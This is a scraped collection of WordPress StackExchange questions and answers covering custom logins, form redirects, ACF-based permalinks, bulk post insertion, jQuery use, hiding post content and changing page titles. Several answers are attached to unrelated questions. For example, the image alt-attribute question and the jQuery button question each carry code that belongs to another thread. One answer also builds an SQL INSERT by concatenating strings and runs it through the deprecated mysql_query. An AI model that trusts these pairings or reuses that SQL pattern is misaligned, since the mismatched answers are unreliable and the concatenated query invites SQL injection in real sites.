As you can see it seems like something is going on but the little AJAX loading icon just keeps spinning for me ? [![Screenshot](https://i.stack.imgur.com/gLeiF.png)](https://i.stack.imgur.com/gLeiF.png) Do you need to know anymore information to help me with this ? EDIT: page.php looks like this: ``` <?php get_header(); nectar_page_header($post->ID); //full page $fp_options = nectar_get_full_page_options(); extract($fp_options); ?> <?php get_footer(); ?> ```
If you remove the exit; call on line 176, does it load? It seems that the footer.php file will never be loaded because you are exiting before reaching that file.
285,353
<p>If I submit a form with an action of <code>/wp-admin/admin-post.php</code>, is there a way to return form errors to the originating page?</p> <p>My form has an input with the action set:</p> <pre><code>&lt;input name="action" value="enquiry_form" /&gt; </code></pre> <p>I have an actions setup to manage the validation:</p> <pre><code>add_action('admin_post_enquiry_form', 'mytheme_enquiry_form_submit'); </code></pre> <p>I can return to the original form page with a wp_redirect:</p> <pre><code>wp_redirect('/contact/'); </code></pre> <p>But how can I pass variables/ messages back to this page after redirecting?</p> <p>UPDATE: To add clarification, I was under the impression this was the "correct" way to handle form data, rather than simply adding an init hoot to check for a specific POST variable. There are countless tutorials where people use the admin-post.php action, for example:</p> <p><a href="https://premium.wpmudev.org/blog/handling-form-submissions/" rel="nofollow noreferrer">WPMUDEV Handling Form Submissions</a></p> <p><a href="http://www.adaptiveweb.com.au/handle-post-and-get-requests-in-wordpress-using-admin-post-php/" rel="nofollow noreferrer">AdaptiveWeb Handle POST and GET requests in WordPress</a></p> <p><a href="https://www.sitepoint.com/handling-post-requests-the-wordpress-way/" rel="nofollow noreferrer">SitePoint Handling POST Requests the WordPress Way</a></p>
[ { "answer_id": 309931, "author": "Radovan Bezak", "author_id": 38435, "author_profile": "https://wordpress.stackexchange.com/users/38435", "pm_score": 1, "selected": false, "text": "<p>You can send GET variables in the URL using wp_redirect.\nFor example:</p>\n\n<pre><code>wp_redirect( h...
2017/11/08
[ "https://wordpress.stackexchange.com/questions/285353", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/48962/" ]
If I submit a form with an action of `/wp-admin/admin-post.php`, is there a way to return form errors to the originating page? My form has an input with the action set: ``` <input name="action" value="enquiry_form" /> ``` I have an actions setup to manage the validation: ``` add_action('admin_post_enquiry_form', 'mytheme_enquiry_form_submit'); ``` I can return to the original form page with a wp\_redirect: ``` wp_redirect('/contact/'); ``` But how can I pass variables/ messages back to this page after redirecting? UPDATE: To add clarification, I was under the impression this was the "correct" way to handle form data, rather than simply adding an init hoot to check for a specific POST variable. There are countless tutorials where people use the admin-post.php action, for example: [WPMUDEV Handling Form Submissions](https://premium.wpmudev.org/blog/handling-form-submissions/) [AdaptiveWeb Handle POST and GET requests in WordPress](http://www.adaptiveweb.com.au/handle-post-and-get-requests-in-wordpress-using-admin-post-php/) [SitePoint Handling POST Requests the WordPress Way](https://www.sitepoint.com/handling-post-requests-the-wordpress-way/)
You can send GET variables in the URL using wp\_redirect. For example: ``` wp_redirect( home_url() .'/form?result=error&reason=3'); ``` As far as I know, yes, `admin-post` is the best-practices way to handle POST data in WordPress.
285,359
<p>I am pretty new to all things Wordpress and seem to be really confused by what I have read.</p> <p>What I am doing is creating a plugin for a specific job and I need to simply change the menu once logged in. Now I am using DIVI 2 as a theme and I have this in the functions.php of the plugin:</p> <pre><code>function my_wp_nav_menu_args( $args = '' ) { if( is_user_logged_in() ) { $args['menu'] = 'UserMenu'; } else { $args['menu'] = 'MainMenu'; } return $args; } add_filter( 'wp_nav_menu_args', 'my_wp_nav_menu_args' ); </code></pre> <p>Which seems to make sense, but does not work and I am not sure if this is Divi2 or, as tested several times, the user is not logged in. It keeps coming back as false <code>is_user_logged_in()</code>.</p> <p>Here is the code I use for the custom login:</p> <pre><code>&lt;?php /** * Created by PhpStorm. * User: Andrew * Date: 08/11/2017 * Time: 11:21 */ global $wpdb; $userOK = -1; print_r(is_user_logged_in()); if(is_user_logged_in()) { //This does not action, ever! ?&gt; &lt;script&gt; window.location.href = "https://URL.uk/userhome/"; &lt;/script&gt; &lt;?php } if($_POST['wd_resendActivationButton'] === 'resend') { sendActivation($_POST['userid'], $_POST['useremail'],"2"); } if($_POST['loginEmail'] &amp;&amp; $_POST['loginPassword'] &amp;&amp; !$_POST['wd_resendActivationButton']){ $userOK = 0; $user = wp_authenticate( $_POST['loginEmail'] , $_POST['loginPassword'] ); if(is_wp_error($user)) { echo $user-&gt;get_error_message(); } else { if($user-&gt;user_status === "0") { wp_logout(); } else { ?&gt; &lt;script&gt; window.location.href = "https://url.uk/userhome/"; &lt;/script&gt; &lt;?php } } } </code></pre> <p>As I understood it, <code>wp_authenticate</code> also logged the user in, but it seems to not do that. So not sure where the issue lays. Could someone please point me into the correct direction?</p> <p><strong>UPDATE</strong></p> <p>Using the below code, it is clear the wp_authentication is failing, although it does give me the user object, it does not log the user in:</p> <pre><code> if($_POST['loginEmail'] &amp;&amp; $_POST['loginPassword'] &amp;&amp; !$_POST['wd_resendActivationButton']){ $userOK = 0; $user = wp_authenticate( $_POST['loginEmail'] , $_POST['loginPassword'] ); if(is_wp_error($user)) { echo $user-&gt;get_error_message(); } else { if($user-&gt;user_status === "0") { wp_logout(); } else { if(is_user_logged_in()) { ?&gt; &lt;script&gt; console.log('logged in'); window.location.href = "https://URL.uk/userhome/"; &lt;/script&gt; &lt;?php } else { ?&gt; &lt;script&gt; console.log('Not logged in'); window.location.href = "https://URL.uk/"; &lt;/script&gt; &lt;?php } } } } </code></pre> <p>Thanks</p> <p>Addy</p>
[ { "answer_id": 285366, "author": "BadAddy", "author_id": 131139, "author_profile": "https://wordpress.stackexchange.com/users/131139", "pm_score": 1, "selected": false, "text": "<p>I managed to figure out what was causing it. But I find it odd that there is such little information on it...
2017/11/08
[ "https://wordpress.stackexchange.com/questions/285359", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131139/" ]
I am pretty new to all things Wordpress and seem to be really confused by what I have read. What I am doing is creating a plugin for a specific job and I need to simply change the menu once logged in. Now I am using DIVI 2 as a theme and I have this in the functions.php of the plugin: ``` function my_wp_nav_menu_args( $args = '' ) { if( is_user_logged_in() ) { $args['menu'] = 'UserMenu'; } else { $args['menu'] = 'MainMenu'; } return $args; } add_filter( 'wp_nav_menu_args', 'my_wp_nav_menu_args' ); ``` Which seems to make sense, but does not work and I am not sure if this is Divi2 or, as tested several times, the user is not logged in. It keeps coming back as false `is_user_logged_in()`. Here is the code I use for the custom login: ``` <?php /** * Created by PhpStorm. * User: Andrew * Date: 08/11/2017 * Time: 11:21 */ global $wpdb; $userOK = -1; print_r(is_user_logged_in()); if(is_user_logged_in()) { //This does not action, ever! ?> <script> window.location.href = "https://URL.uk/userhome/"; </script> <?php } if($_POST['wd_resendActivationButton'] === 'resend') { sendActivation($_POST['userid'], $_POST['useremail'],"2"); } if($_POST['loginEmail'] && $_POST['loginPassword'] && !$_POST['wd_resendActivationButton']){ $userOK = 0; $user = wp_authenticate( $_POST['loginEmail'] , $_POST['loginPassword'] ); if(is_wp_error($user)) { echo $user->get_error_message(); } else { if($user->user_status === "0") { wp_logout(); } else { ?> <script> window.location.href = "https://url.uk/userhome/"; </script> <?php } } } ``` As I understood it, `wp_authenticate` also logged the user in, but it seems to not do that. So not sure where the issue lays. Could someone please point me into the correct direction? **UPDATE** Using the below code, it is clear the wp\_authentication is failing, although it does give me the user object, it does not log the user in: ``` if($_POST['loginEmail'] && $_POST['loginPassword'] && !$_POST['wd_resendActivationButton']){ $userOK = 0; $user = wp_authenticate( $_POST['loginEmail'] , $_POST['loginPassword'] ); if(is_wp_error($user)) { echo $user->get_error_message(); } else { if($user->user_status === "0") { wp_logout(); } else { if(is_user_logged_in()) { ?> <script> console.log('logged in'); window.location.href = "https://URL.uk/userhome/"; </script> <?php } else { ?> <script> console.log('Not logged in'); window.location.href = "https://URL.uk/"; </script> <?php } } } } ``` Thanks Addy
`wp_authenticate()` just checks user data, but not actually authenticating - [docs](https://developer.wordpress.org/reference/functions/wp_authenticate/). You can use `wp_signon`, which uses and `wp_authenticate`: [source](https://core.trac.wordpress.org/browser/tags/5.3/src/wp-includes/user.php#L33), like this: ``` $credentials = [ 'user_login' => $name, 'user_password' => $password, 'rememberme' => true, ]; $signon = wp_signon($credentials, true); // true - use HTTP only cookie if(is_wp_error($signon)){ return false; } // The user is logged in redirect, return true, etc. ```
285,369
<p>I am new to wordpress and StackExchange. I need to add alt attribute to all existing images for screen readers. But I have no idea which php file I need to work on.</p> <p>Also, how does wordpress make pics? which php file do this job? Thanks!</p>
[ { "answer_id": 285366, "author": "BadAddy", "author_id": 131139, "author_profile": "https://wordpress.stackexchange.com/users/131139", "pm_score": 1, "selected": false, "text": "<p>I managed to figure out what was causing it. But I find it odd that there is such little information on it...
2017/11/08
[ "https://wordpress.stackexchange.com/questions/285369", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131151/" ]
I am new to wordpress and StackExchange. I need to add alt attribute to all existing images for screen readers. But I have no idea which php file I need to work on. Also, how does wordpress make pics? which php file do this job? Thanks!
`wp_authenticate()` just checks user data, but not actually authenticating - [docs](https://developer.wordpress.org/reference/functions/wp_authenticate/). You can use `wp_signon`, which uses and `wp_authenticate`: [source](https://core.trac.wordpress.org/browser/tags/5.3/src/wp-includes/user.php#L33), like this: ``` $credentials = [ 'user_login' => $name, 'user_password' => $password, 'rememberme' => true, ]; $signon = wp_signon($credentials, true); // true - use HTTP only cookie if(is_wp_error($signon)){ return false; } // The user is logged in redirect, return true, etc. ```
285,370
<p>Screenshot below says it all. I want to remove/hide this field from view so the user is unable to edit it. It comes from the User Role Editor plugin and I want to make the changes in functions.php in the child theme.</p> <p>As far as I can tell the code that creates the option comes from plugin folder in ./includes/classes/user-other-roles.php.</p> <p>I've tried taking the whole function and dropping it into the child theme functions.php and commenting out the 'select_roles' line but that didn't work.</p> <pre><code>public function load_js($hook_suffix) { if (!in_array($hook_suffix, array('user-edit.php', 'user-new.php'))) { return; } $select_primary_role = apply_filters('ure_users_select_primary_role', true); wp_enqueue_script('jquery-ui-dialog', '', array('jquery-ui-core', 'jquery-ui-button', 'jquery')); wp_register_script('ure-jquery-multiple-select', plugins_url('/js/jquery.multiple.select.js', URE_PLUGIN_FULL_PATH)); wp_enqueue_script('ure-jquery-multiple-select'); wp_register_script('ure-user-profile-other-roles', plugins_url('/js/user-profile-other-roles.js', URE_PLUGIN_FULL_PATH)); wp_enqueue_script('ure-user-profile-other-roles'); wp_localize_script('ure-user-profile-other-roles', 'ure_data_user_profile_other_roles', array( 'wp_nonce' =&gt; wp_create_nonce('user-role-editor'), 'other_roles' =&gt; esc_html__('Other Roles', 'user-role-editor'), 'select_roles' =&gt; esc_html__('Select additional roles for this user', 'user-role-editor'), 'select_primary_role' =&gt; ($select_primary_role || $this-&gt;lib-&gt;is_super_admin()) ? 1: 0 )); } </code></pre> <p><a href="https://i.stack.imgur.com/EQt5e.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/EQt5e.png" alt="User Role Editor"></a></p>
[ { "answer_id": 286383, "author": "Jason", "author_id": 131150, "author_profile": "https://wordpress.stackexchange.com/users/131150", "pm_score": 2, "selected": true, "text": "<p>I figured it out and this may help others who may also be trying to remove options from within the dashboard. ...
2017/11/08
[ "https://wordpress.stackexchange.com/questions/285370", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131150/" ]
Screenshot below says it all. I want to remove/hide this field from view so the user is unable to edit it. It comes from the User Role Editor plugin and I want to make the changes in functions.php in the child theme. As far as I can tell the code that creates the option comes from plugin folder in ./includes/classes/user-other-roles.php. I've tried taking the whole function and dropping it into the child theme functions.php and commenting out the 'select\_roles' line but that didn't work. ``` public function load_js($hook_suffix) { if (!in_array($hook_suffix, array('user-edit.php', 'user-new.php'))) { return; } $select_primary_role = apply_filters('ure_users_select_primary_role', true); wp_enqueue_script('jquery-ui-dialog', '', array('jquery-ui-core', 'jquery-ui-button', 'jquery')); wp_register_script('ure-jquery-multiple-select', plugins_url('/js/jquery.multiple.select.js', URE_PLUGIN_FULL_PATH)); wp_enqueue_script('ure-jquery-multiple-select'); wp_register_script('ure-user-profile-other-roles', plugins_url('/js/user-profile-other-roles.js', URE_PLUGIN_FULL_PATH)); wp_enqueue_script('ure-user-profile-other-roles'); wp_localize_script('ure-user-profile-other-roles', 'ure_data_user_profile_other_roles', array( 'wp_nonce' => wp_create_nonce('user-role-editor'), 'other_roles' => esc_html__('Other Roles', 'user-role-editor'), 'select_roles' => esc_html__('Select additional roles for this user', 'user-role-editor'), 'select_primary_role' => ($select_primary_role || $this->lib->is_super_admin()) ? 1: 0 )); } ``` [![User Role Editor](https://i.stack.imgur.com/EQt5e.png)](https://i.stack.imgur.com/EQt5e.png)
I figured it out and this may help others who may also be trying to remove options from within the dashboard. The concept is the same for any other item you may wish to remove. First you need to add a filter to your functions.php in your child theme. Then you set the function to false. Here is the code: ``` // remove additional capabilities dropdown from user page add_filter('ure_show_additional_capabilities_section', 'ure_show_additional_capabilities_section'); add_filter('ure_bulk_grant_roles', 'ure_show_additional_capabilities_section'); function ure_show_additional_capabilities_section($show) { if (current_user_can('administrator')) { $show = false; } return $show; } ```
285,382
<p>My problem is one that i can't seem to find a solution to.</p> <p>I have 2 Custom Post Types, <code>Mangas</code> and <code>Chapters</code>, every chapter published will <strong>always</strong> be connected to a manga via the ACF relationship field.</p> <p>The current permalink structure for the chapter is <code>site.com/chapters/chapter-title</code> and what i want is <code>site.com/mangas/connected-manga/chapter-title</code></p> <p>Since wordpress doesn't offer much in the way of post-to-post relationships the ACF relationship field is great for this and i have everything figured out except for this... the permalink.</p> <p>Any help would be appreciated. Please bear in mind that i don't want to use an extra plugin for this.</p>
[ { "answer_id": 285400, "author": "Amr Mohamed", "author_id": 131027, "author_profile": "https://wordpress.stackexchange.com/users/131027", "pm_score": 0, "selected": false, "text": "<p>I think you need to use plugin <strong><a href=\"https://wordpress.org/plugins/custom-post-type-permali...
2017/11/09
[ "https://wordpress.stackexchange.com/questions/285382", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131003/" ]
My problem is one that i can't seem to find a solution to. I have 2 Custom Post Types, `Mangas` and `Chapters`, every chapter published will **always** be connected to a manga via the ACF relationship field. The current permalink structure for the chapter is `site.com/chapters/chapter-title` and what i want is `site.com/mangas/connected-manga/chapter-title` Since wordpress doesn't offer much in the way of post-to-post relationships the ACF relationship field is great for this and i have everything figured out except for this... the permalink. Any help would be appreciated. Please bear in mind that i don't want to use an extra plugin for this.
The following you could add as a plugin or into your themes `functions.php` file. What we need to do is add a rewrite tag, custom query var, and finally replace the rewrite tag with the related post slug. Some things may vary from my code to yours. I assume `chapters` is the post type slug and that the relational field is returning an ID instead of an object, you may need to change these things based on your setup. One thing you'll need to do is when you're creating your `chapters` post type, you'll need to add in the placeholder on the rewrite slug: ``` /** * Create Rewrite Tag * We'll be able to hook in and replace this placeholder * * @return void */ function wpse285382_chapters_setup() { // Add rewrite tag add_rewrite_tag( '%manga%', // Placeholder '([^&]+)', // Regex 'manga=' // Expected query var ); // Assign rewrite tag in post registation register_post_type( 'chapters', array( /* ... */ 'rewrite' => array( 'slug' => 'mangas/%manga%', 'with_front' => false ), /* ... */ ) ); } add_action( 'init', 'wpse285382_chapters_setup' ); /** * Replace the placeholder rewrite tag with expected manga * * @param String $post_link * @param WP_Post $post * * @return String $post_link */ function wpse285382_chapter_link_replacements( $post_link, $post ) { // No Post ID? Drop out if( empty( $post ) ) { return $post_link; } // Make sure our post type is correct if( empty( $post ) || 'chapters' !== $post->post_type ) { return $post_link; } // Get related manga field $manga = get_field( 'related_manga', $post->ID ); if( ! empty( $manga ) ) { // Grab Post Slug $manga_slug = get_post_field( 'post_name', $manga ); // Replace rewrite tag in the given URL $post_link = str_replace( '%manga%', $manga_slug, $post_link ); } return $post_link; } add_filter( 'post_type_link', 'wpse285382_chapter_link_replacements', 9, 2 ); ``` This last bit should redirect any mismatched posts. We make sure that we have a slug to work with, we have a related post ID assigned, and the given slug and related post slug are the same, if they're not we redirect them back to the archive page ( or where-ever you need to point them to ). ``` /** * Redirect mismatched related posts * * @return void */ function wpse285382_chapter_redirects() { global $post, $wp_query; if( ! is_singular( 'chapterss' ) ) { return; } $redirect_to = get_post_type_archive_link( 'chapters' ); $given_slug = $wp_query->get( 'manga' ); $expected_manga = get_field( 'related_manga', $post->ID ); if( empty( $given_slug ) || empty( $expected_manga ) ) { wp_redirect( $redirect_to ); exit(); } $expected_slug = get_post_field( 'post_name', $expected_manga ); if( $given_slug !== $expected_slug ) { wp_redirect( $redirect_to ); exit(); } } add_action( 'template_redirect', 'wpse285382_chapter_redirects' ); ```
285,383
<p>so, I am making progress on a button that disappears after a certain amount of time after being clicked like so: <a href="https://codepen.io/mso122591/pen/qVZYNN" rel="nofollow noreferrer">https://codepen.io/mso122591/pen/qVZYNN</a></p> <p>The problem is that this approach uses jquery, which I can't seem to get to work in wordpress.</p> <p>Here are some resources to get jquery to work in wordpress (I noticed you have to replace the initial $ to Jquery and might need a wp_enqueue_script thing) but I find it kinda confusing.</p> <p>1.<a href="https://codex.wordpress.org/Using_Javascript#JavaScript_in_Posts" rel="nofollow noreferrer">https://codex.wordpress.org/Using_Javascript#JavaScript_in_Posts</a> 2.<a href="https://stackoverflow.com/questions/11159860/how-do-i-add-a-simple-jquery-script-to-wordpress">https://stackoverflow.com/questions/11159860/how-do-i-add-a-simple-jquery-script-to-wordpress</a> 3.<a href="https://premium.wpmudev.org/blog/adding-jquery-scripts-wordpress/" rel="nofollow noreferrer">https://premium.wpmudev.org/blog/adding-jquery-scripts-wordpress/</a> 4.<a href="https://digwp.com/2009/06/including-jquery-in-wordpress-the-right-way/" rel="nofollow noreferrer">https://digwp.com/2009/06/including-jquery-in-wordpress-the-right-way/</a></p> <p>I <strong><em>have</em></strong> been able to make javascript work in wordpress, so I tried to get the same result using JS, </p> <p>so I tried to get the same result with JS code: <a href="https://codepen.io/mso122591/pen/rYWXJQ" rel="nofollow noreferrer">https://codepen.io/mso122591/pen/rYWXJQ</a></p> <p>But it also doesn't work in wordpress.</p> <p>It seems that wordpress is pretty finicky as this works in wordpress:</p> <p> </p> <h2>JavaScript Alert</h2> <p>Try it</p> function myFunction() { alert("I am an alert box!"); } <p> </p> <p><strong><em>And this does not work:</em></strong></p> <p> </p> <h2>JavaScript Alert</h2> <p>Try it</p> function myFunction() { alert("I am an alert box!"); } //notice this one has an extra space <p> </p> <p>Any ideas to get the button to work in wordpress? Am I missing something about how Javascript has to be structured or how to make JQuery work?</p>
[ { "answer_id": 285400, "author": "Amr Mohamed", "author_id": 131027, "author_profile": "https://wordpress.stackexchange.com/users/131027", "pm_score": 0, "selected": false, "text": "<p>I think you need to use plugin <strong><a href=\"https://wordpress.org/plugins/custom-post-type-permali...
2017/11/09
[ "https://wordpress.stackexchange.com/questions/285383", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131157/" ]
so, I am making progress on a button that disappears after a certain amount of time after being clicked like so: <https://codepen.io/mso122591/pen/qVZYNN> The problem is that this approach uses jquery, which I can't seem to get to work in wordpress. Here are some resources to get jquery to work in wordpress (I noticed you have to replace the initial $ to Jquery and might need a wp\_enqueue\_script thing) but I find it kinda confusing. 1.<https://codex.wordpress.org/Using_Javascript#JavaScript_in_Posts> 2.<https://stackoverflow.com/questions/11159860/how-do-i-add-a-simple-jquery-script-to-wordpress> 3.<https://premium.wpmudev.org/blog/adding-jquery-scripts-wordpress/> 4.<https://digwp.com/2009/06/including-jquery-in-wordpress-the-right-way/> I ***have*** been able to make javascript work in wordpress, so I tried to get the same result using JS, so I tried to get the same result with JS code: <https://codepen.io/mso122591/pen/rYWXJQ> But it also doesn't work in wordpress. It seems that wordpress is pretty finicky as this works in wordpress: JavaScript Alert ---------------- Try it function myFunction() { alert("I am an alert box!"); } ***And this does not work:*** JavaScript Alert ---------------- Try it function myFunction() { alert("I am an alert box!"); } //notice this one has an extra space Any ideas to get the button to work in wordpress? Am I missing something about how Javascript has to be structured or how to make JQuery work?
The following you could add as a plugin or into your themes `functions.php` file. What we need to do is add a rewrite tag, custom query var, and finally replace the rewrite tag with the related post slug. Some things may vary from my code to yours. I assume `chapters` is the post type slug and that the relational field is returning an ID instead of an object, you may need to change these things based on your setup. One thing you'll need to do is when you're creating your `chapters` post type, you'll need to add in the placeholder on the rewrite slug: ``` /** * Create Rewrite Tag * We'll be able to hook in and replace this placeholder * * @return void */ function wpse285382_chapters_setup() { // Add rewrite tag add_rewrite_tag( '%manga%', // Placeholder '([^&]+)', // Regex 'manga=' // Expected query var ); // Assign rewrite tag in post registation register_post_type( 'chapters', array( /* ... */ 'rewrite' => array( 'slug' => 'mangas/%manga%', 'with_front' => false ), /* ... */ ) ); } add_action( 'init', 'wpse285382_chapters_setup' ); /** * Replace the placeholder rewrite tag with expected manga * * @param String $post_link * @param WP_Post $post * * @return String $post_link */ function wpse285382_chapter_link_replacements( $post_link, $post ) { // No Post ID? Drop out if( empty( $post ) ) { return $post_link; } // Make sure our post type is correct if( empty( $post ) || 'chapters' !== $post->post_type ) { return $post_link; } // Get related manga field $manga = get_field( 'related_manga', $post->ID ); if( ! empty( $manga ) ) { // Grab Post Slug $manga_slug = get_post_field( 'post_name', $manga ); // Replace rewrite tag in the given URL $post_link = str_replace( '%manga%', $manga_slug, $post_link ); } return $post_link; } add_filter( 'post_type_link', 'wpse285382_chapter_link_replacements', 9, 2 ); ``` This last bit should redirect any mismatched posts. We make sure that we have a slug to work with, we have a related post ID assigned, and the given slug and related post slug are the same, if they're not we redirect them back to the archive page ( or where-ever you need to point them to ). ``` /** * Redirect mismatched related posts * * @return void */ function wpse285382_chapter_redirects() { global $post, $wp_query; if( ! is_singular( 'chapterss' ) ) { return; } $redirect_to = get_post_type_archive_link( 'chapters' ); $given_slug = $wp_query->get( 'manga' ); $expected_manga = get_field( 'related_manga', $post->ID ); if( empty( $given_slug ) || empty( $expected_manga ) ) { wp_redirect( $redirect_to ); exit(); } $expected_slug = get_post_field( 'post_name', $expected_manga ); if( $given_slug !== $expected_slug ) { wp_redirect( $redirect_to ); exit(); } } add_action( 'template_redirect', 'wpse285382_chapter_redirects' ); ```
285,391
<p>I need to insert about 300 posts into the DB programmatically.</p> <p>Usually i use wp_insert_post to do this job with one record each time, but this time I don't think it'll work well with hundreds of rows. </p> <p>According to <a href="https://dev.mysql.com/doc/refman/5.7/en/insert-optimization.html" rel="nofollow noreferrer">this</a>, it will probably be faster to insert multiple rows in one query. So, I wonder if it's possible to use wp_insert_post in one query. </p> <p>Thnx and sorry for my bad English. </p>
[ { "answer_id": 285423, "author": "Jim-miraidev", "author_id": 130369, "author_profile": "https://wordpress.stackexchange.com/users/130369", "pm_score": 2, "selected": false, "text": "<p>I would advise using wp_insert_post() and putting you text files into a CSV</p>\n\n<p>CSV</p>\n\n<pre>...
2017/11/09
[ "https://wordpress.stackexchange.com/questions/285391", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/124860/" ]
I need to insert about 300 posts into the DB programmatically. Usually i use wp\_insert\_post to do this job with one record each time, but this time I don't think it'll work well with hundreds of rows. According to [this](https://dev.mysql.com/doc/refman/5.7/en/insert-optimization.html), it will probably be faster to insert multiple rows in one query. So, I wonder if it's possible to use wp\_insert\_post in one query. Thnx and sorry for my bad English.
I would advise using wp\_insert\_post() and putting you text files into a CSV CSV ``` Post Title,Post Content, "title", "content", "title", "content"... ``` PHP ``` $path = "/posts.csv"; //require __DIR__ . "$path"; $file = fopen(__DIR__ . $path, 'r'); while (($line = fgetcsv($file)) !== FALSE) { //$line is an array of the csv elements $post["id"] = wp_insert_post( array( "post_title" => $line[0], "post_author" => 1, "post_content" => $line[1], "post_type" => 'page', //add post type "post_status" => "publish" )); } fclose($file); ``` Or you could do a SQL INSERT, have a look at - <https://stackoverflow.com/questions/1670838/inserting-a-post-in-wordpress-using-mysql> ``` $sql = "INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES "; $sql .= "(' ','".$post_author."',"."'".$post_date."',"."'".$post_date_gmt."',"."'".$post_content."',"."'".$post_title."',"."'".$post_excerpt."',"."'".$post_status."',"."'".$comment_status."',"."'".$ping_status."',"."'".$posd_password."',"."'".$post_name."',"."'".$to_ping."',"."'".$pinged."',"."'".$post_modified."',"."'".$post_modified_gmt."',"."'".$post_content_filtered."',"."'".$post_parent."',"."'".$guid."',"."'".$menu_order."',"."'".$post_type."',"."'".$post_mime_type."',"."'".$comment_count."'),"; $res = mysql_query($sql); if($res): print 'Successful Insert'; else: print 'Unable to update table'; endif; ```
285,410
<p>I would like to hide the contents of a specific post from showing. <code>remove_post_type_support</code>does not seem to work.</p> <pre><code>add_action('template_redirect',array($this,'hide_post_contents')); public funcion hide_post_contents() { if(is_single(3)) { remove_post_type_support( 'post', 'title' ); } } </code></pre>
[ { "answer_id": 285704, "author": "Johansson", "author_id": 94498, "author_profile": "https://wordpress.stackexchange.com/users/94498", "pm_score": 3, "selected": false, "text": "<p>Your code doesn't seem to be trying to hide the content, but you can use <a href=\"https://developer.wordpr...
2017/11/09
[ "https://wordpress.stackexchange.com/questions/285410", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/126924/" ]
I would like to hide the contents of a specific post from showing. `remove_post_type_support`does not seem to work. ``` add_action('template_redirect',array($this,'hide_post_contents')); public funcion hide_post_contents() { if(is_single(3)) { remove_post_type_support( 'post', 'title' ); } } ```
Your code doesn't seem to be trying to hide the content, but you can use [`the_content`](https://developer.wordpress.org/reference/functions/the_content/) filter to return an empty content if you are on a specific post page. For example: ``` add_filter('the_content', 'hide_post_contents'); function hide_post_contents( $content ) { if( is_single(3) ) { return ''; } return $content; } ``` Also, there is a mistype in your code. `funcion` must be changed to `function`.
285,426
<p>I want to change the woocommerce email header template with a new one so that I could add conditions in header template to get value from the dashboard (To change the color of header based on user input from the dashboard). I have created a plugin file to do so.</p> <p>I have followed several tutorials and all I received is a bunch of errors. I have a class with the following code:</p> <pre><code>public function __construct(){ add_action('woocommerce_email',array($this,'woocommerce_email')); } </code></pre> <p>Now I have added code to remove default header hook</p> <pre><code>public function woocommerce_email($mailer){ remove_action('woocommerce_header',array($mailer,'email_header')); add_action('woocommerce_header',array($this,'email_header')); </code></pre> <p>now calling the template </p> <pre><code>public function email_header() { wc_get_template( 'emails/email-header.php'); } </code></pre> <p>I am not passing anything to the template file. So no parameters are passed to functions. I just wanted to see that my template is being taken. Also, I assume <code>$mailer</code> to be a part of the woocommerce class. Any help would be appreciated.</p> <p>Please note that this is a plugin functionality so I am not interested in replacing the woocommerce email templates.</p>
[ { "answer_id": 285704, "author": "Johansson", "author_id": 94498, "author_profile": "https://wordpress.stackexchange.com/users/94498", "pm_score": 3, "selected": false, "text": "<p>Your code doesn't seem to be trying to hide the content, but you can use <a href=\"https://developer.wordpr...
2017/11/09
[ "https://wordpress.stackexchange.com/questions/285426", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/130740/" ]
I want to change the woocommerce email header template with a new one so that I could add conditions in header template to get value from the dashboard (To change the color of header based on user input from the dashboard). I have created a plugin file to do so. I have followed several tutorials and all I received is a bunch of errors. I have a class with the following code: ``` public function __construct(){ add_action('woocommerce_email',array($this,'woocommerce_email')); } ``` Now I have added code to remove default header hook ``` public function woocommerce_email($mailer){ remove_action('woocommerce_header',array($mailer,'email_header')); add_action('woocommerce_header',array($this,'email_header')); ``` now calling the template ``` public function email_header() { wc_get_template( 'emails/email-header.php'); } ``` I am not passing anything to the template file. So no parameters are passed to functions. I just wanted to see that my template is being taken. Also, I assume `$mailer` to be a part of the woocommerce class. Any help would be appreciated. Please note that this is a plugin functionality so I am not interested in replacing the woocommerce email templates.
Your code doesn't seem to be trying to hide the content, but you can use [`the_content`](https://developer.wordpress.org/reference/functions/the_content/) filter to return an empty content if you are on a specific post page. For example: ``` add_filter('the_content', 'hide_post_contents'); function hide_post_contents( $content ) { if( is_single(3) ) { return ''; } return $content; } ``` Also, there is a mistype in your code. `funcion` must be changed to `function`.
285,435
<p>I've added a template in my theme, I want to change page title using following code. but its change my menu titles also. I'm unable to fix this issue. Please help.</p> <pre><code>function get_id_by_slug($page_slug) { $page = get_page_by_path($page_slug); if ($page) { return $page-&gt;ID; } else { return null; } } $branchPageSlug = $_GET['slug']; $branchPageID = get_id_by_slug($branchPageSlug); global $branchPageTitle; $branchPageTitle = get_the_title($branchPageID); function cf_ChangePageTitle( $title ) { global $branchPageTitle; return $branchPageTitle; } add_filter( 'the_title', 'cf_ChangePageTitle' ); </code></pre>
[ { "answer_id": 285704, "author": "Johansson", "author_id": 94498, "author_profile": "https://wordpress.stackexchange.com/users/94498", "pm_score": 3, "selected": false, "text": "<p>Your code doesn't seem to be trying to hide the content, but you can use <a href=\"https://developer.wordpr...
2017/11/09
[ "https://wordpress.stackexchange.com/questions/285435", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/108953/" ]
I've added a template in my theme, I want to change page title using following code. but its change my menu titles also. I'm unable to fix this issue. Please help. ``` function get_id_by_slug($page_slug) { $page = get_page_by_path($page_slug); if ($page) { return $page->ID; } else { return null; } } $branchPageSlug = $_GET['slug']; $branchPageID = get_id_by_slug($branchPageSlug); global $branchPageTitle; $branchPageTitle = get_the_title($branchPageID); function cf_ChangePageTitle( $title ) { global $branchPageTitle; return $branchPageTitle; } add_filter( 'the_title', 'cf_ChangePageTitle' ); ```
